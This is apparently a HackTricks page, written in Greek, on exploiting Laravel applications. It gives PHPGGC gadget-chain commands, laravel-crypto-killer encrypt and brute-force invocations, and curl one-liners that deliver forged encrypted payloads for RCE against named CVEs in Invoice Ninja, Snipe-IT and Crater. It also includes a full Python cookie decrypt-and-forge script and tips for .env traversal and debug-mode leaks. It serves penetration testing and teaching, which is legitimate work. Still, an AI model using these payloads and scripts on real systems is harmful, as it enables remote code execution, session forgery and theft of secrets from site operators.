Laravel
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Laravel SQLInjection
Διαβάστε πληροφορίες σχετικά με αυτό εδώ: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Encryption internals (Laravel \u003e=5.6)
Το Laravel χρησιμοποιεί AES-256-CBC (ή GCM) με HMAC ακεραιότητα στο παρασκήνιο (Illuminate\\Encryption\\Encrypter
).
Ο ακατέργαστος κρυπτογραφημένος κώδικας που τελικά αποστέλλεται στον πελάτη είναι Base64 ενός αντικειμένου JSON όπως:
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true)
θα serialize()
το απλό κείμενο από προεπιλογή, ενώ
decrypt($payload, $unserialize=true)
θα αυτόματα unserialize()
την αποκρυπτογραφημένη τιμή.
Επομένως οποιοσδήποτε επιτιθέμενος που γνωρίζει το 32-byte μυστικό APP_KEY
μπορεί να δημιουργήσει ένα κρυπτογραφημένο PHP serialized αντικείμενο και να αποκτήσει RCE μέσω μαγικών μεθόδων (__wakeup
, __destruct
, …).
Ελάχιστο PoC (framework ≥9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
Εισάγετε τη παραγόμενη συμβολοσειρά σε οποιαδήποτε ευάλωτη decrypt()
πηγή (παράμετρος διαδρομής, cookie, συνεδρία, …).
laravel-crypto-killer 🧨
laravel-crypto-killer αυτοματοποιεί ολόκληρη τη διαδικασία και προσθέτει μια βολική λειτουργία bruteforce:
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
Το σενάριο υποστηρίζει διαφανώς τόσο τα payloads CBC όσο και GCM και αναγεννά το πεδίο HMAC/tag.
Πραγματικοί ευάλωτοι τύποι
Έργο | Ευάλωτη πηγή | Αλυσίδα gadget |
---|---|---|
Invoice Ninja ≤v5 (CVE-2024-55555) | /route/{hash} → decrypt($hash) | Laravel/RCE13 |
Snipe-IT ≤v6 (CVE-2024-48987) | XSRF-TOKEN cookie όταν είναι ενεργοποιημένο το Passport::withCookieSerialization() | Laravel/RCE9 |
Crater (CVE-2024-55556) | SESSION_DRIVER=cookie → laravel_session cookie | Laravel/RCE15 |
Η ροή εκμετάλλευσης είναι πάντα:
- Αποκτήστε ή σπάστε το 32-byte
APP_KEY
. - Δημιουργήστε μια αλυσίδα gadget με PHPGGC (για παράδειγμα
Laravel/RCE13
,Laravel/RCE9
ήLaravel/RCE15
). - Κρυπτογραφήστε το σειριακό gadget με laravel_crypto_killer.py και το ανακτηθέν
APP_KEY
. - Παραδώστε το ciphertext στην ευάλωτη πηγή
decrypt()
(παράμετρος διαδρομής, cookie, συνεδρία …) για να ενεργοποιήσετε το RCE.
Παρακάτω παρατίθενται συνοπτικές γραμμές που δείχνουν τη πλήρη διαδρομή επίθεσης για κάθε πραγματικό CVE που αναφέρθηκε παραπάνω:
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
Μαζική ανακάλυψη APP_KEY μέσω brute-force cookie
Επειδή κάθε νέα απάντηση του Laravel ρυθμίζει τουλάχιστον 1 κρυπτογραφημένο cookie (XSRF-TOKEN
και συνήθως laravel_session
), δημόσιοι σαρωτές διαδικτύου (Shodan, Censys, …) διαρρέουν εκατομμύρια κρυπτογραφημένα κείμενα που μπορούν να επιτεθούν εκτός σύνδεσης.
Κύρια ευρήματα της έρευνας που δημοσιεύθηκε από τη Synacktiv (2024-2025):
- Σύνολο δεδομένων Ιουλίου 2024 » 580 k tokens, 3.99 % κλειδιά σπασμένα (≈23 k)
- Σύνολο δεδομένων Μαΐου 2025 » 625 k tokens, 3.56 % κλειδιά σπασμένα
-
1 000 διακομιστές εξακολουθούν να είναι ευάλωτοι σε παλαιά CVE-2018-15133 επειδή τα tokens περιέχουν άμεσα σειριοποιημένα δεδομένα.
- Μεγάλη επαναχρησιμοποίηση κλειδιών – οι Top-10 APP_KEYs είναι σκληρά κωδικοποιημένες προεπιλογές που αποστέλλονται με εμπορικά πρότυπα Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
Το ιδιωτικό εργαλείο Go nounours προωθεί την ταχύτητα brute-force AES-CBC/GCM σε ~1.5 δισεκατομμύρια προσπάθειες/δευτερόλεπτο, μειώνοντας την πλήρη σπασμένη συλλογή δεδομένων σε <2 λεπτά.
Τέχνασμα Laravel
Λειτουργία αποσφαλμάτωσης
Εάν το Laravel είναι σε λειτουργία αποσφαλμάτωσης, θα μπορείτε να έχετε πρόσβαση στον κώδικα και σε ευαίσθητα δεδομένα.
Για παράδειγμα http://127.0.0.1:8000/profiles
:
Αυτό συνήθως απαιτείται για την εκμετάλλευση άλλων CVEs RCE του Laravel.
.env
Το Laravel αποθηκεύει το APP που χρησιμοποιεί για να κρυπτογραφήσει τα cookies και άλλα διαπιστευτήρια μέσα σε ένα αρχείο που ονομάζεται .env
το οποίο μπορεί να προσπελαστεί χρησιμοποιώντας κάποια διαδρομή πλοήγησης κάτω από: /../.env
Το Laravel θα δείξει επίσης αυτές τις πληροφορίες μέσα στη σελίδα αποσφαλμάτωσης (που εμφανίζεται όταν το Laravel βρίσκει ένα σφάλμα και είναι ενεργοποιημένο).
Χρησιμοποιώντας το μυστικό APP_KEY του Laravel μπορείτε να αποκρυπτογραφήσετε και να ξανακρυπτογραφήσετε cookies:
Αποκρυπτογράφηση Cookie
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
Laravel Deserialization RCE
Ευάλωτες εκδόσεις: 5.5.40 και 5.6.x έως 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)
Εδώ μπορείτε να βρείτε πληροφορίες σχετικά με την ευπάθεια αποσυμπίεσης εδώ: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/
Μπορείτε να το δοκιμάσετε και να το εκμεταλλευτείτε χρησιμοποιώντας https://github.com/kozmic/laravel-poc-CVE-2018-15133
Ή μπορείτε επίσης να το εκμεταλλευτείτε με το metasploit: use unix/http/laravel_token_unserialize_exec
CVE-2021-3129
Μια άλλη αποσυμπίεση: https://github.com/ambionics/laravel-exploits
References
- Laravel: APP_KEY leakage analysis (EN)
- Laravel : analyse de fuite d’APP_KEY (FR)
- laravel-crypto-killer
- PHPGGC – PHP Generic Gadget Chains
- CVE-2018-15133 write-up (WithSecure)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.